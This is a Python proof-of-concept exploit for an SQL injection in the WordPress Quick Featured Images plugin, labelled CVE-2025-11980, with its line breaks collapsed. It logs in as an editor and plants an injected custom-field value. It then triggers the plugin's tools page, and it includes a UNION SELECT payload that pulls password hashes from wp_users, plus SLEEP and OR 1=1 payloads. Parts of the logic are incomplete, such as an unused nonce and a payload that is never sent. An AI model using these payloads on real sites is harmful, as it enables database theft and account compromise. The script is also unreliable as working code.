CVE-2025-11980

import requests import re from urllib.parse import quote # CVE-2025-11980 SQL Injection PoC for WordPress Quick Featured Images <= 13.7.3 # Target: WordPress site with Quick Featured Images plugin installed class CVE_2025_11980_POC: def __init__(self, target_url, username, password): self.target_url = target_url.rstrip('/') self.username = username self.password = password self.session = requests.Session() def authenticate(self): """Authenticate with WordPress using Editor or higher privileges""" login_url = f"{self.target_url}/wp-login.php" data = { 'log': self.username, 'pwd': self.password, 'wp-submit': 'Log In' } response = self.session.post(login_url, data=data) return 'wordpress_logged_in' in str(self.session.cookies) def inject_malicious_custom_field(self, post_id, malicious_value): """Inject malicious SQL payload via custom field""" # Add malicious custom field value to trigger SQL injection nonce_url = f"{self.target_url}/wp-admin/post.php?post={post_id}&action=edit" response = self.session.get(nonce_url) # Extract nonce and add custom field add_meta_url = f"{self.target_url}/wp-admin/admin-ajax.php" data = { 'action': 'add-meta', 'metakeyinput': 'qfim_settings', 'metavalue': malicious_value, 'post_id': post_id } return self.session.post(add_meta_url, data=data) def trigger_sqli(self): """Trigger the SQL injection via delete_orphaned function""" # Access the plugin's tools page and trigger delete orphaned images tools_url = f"{self.target_url}/wp-admin/admin.php?page=quick-featured-images-pro" # The vulnerable parameter is passed through custom fields # Payload to extract database user: ' OR (SELECT SLEEP(5))-- return self.session.get(tools_url) def extract_data(self, payload): """Extract sensitive data using SQL injection""" # Example payload to extract wp_users table data sqli_payload = f"' UNION SELECT 1,2,3,4,5,6,7,8,9,10,user_pass,12,13,14,15,16,17,18,19,20 FROM wp_users WHERE '1'='1" return sqli_payload # Usage example # poc = CVE_2025_11980_POC('https://target-site.com', 'editor_user', 'password') # if poc.authenticate(): # print('[+] Authentication successful') # poc.inject_malicious_custom_field(1, "' OR 1=1--") # poc.trigger_sqli() print('CVE-2025-11980 Quick Featured Images SQL Injection PoC')

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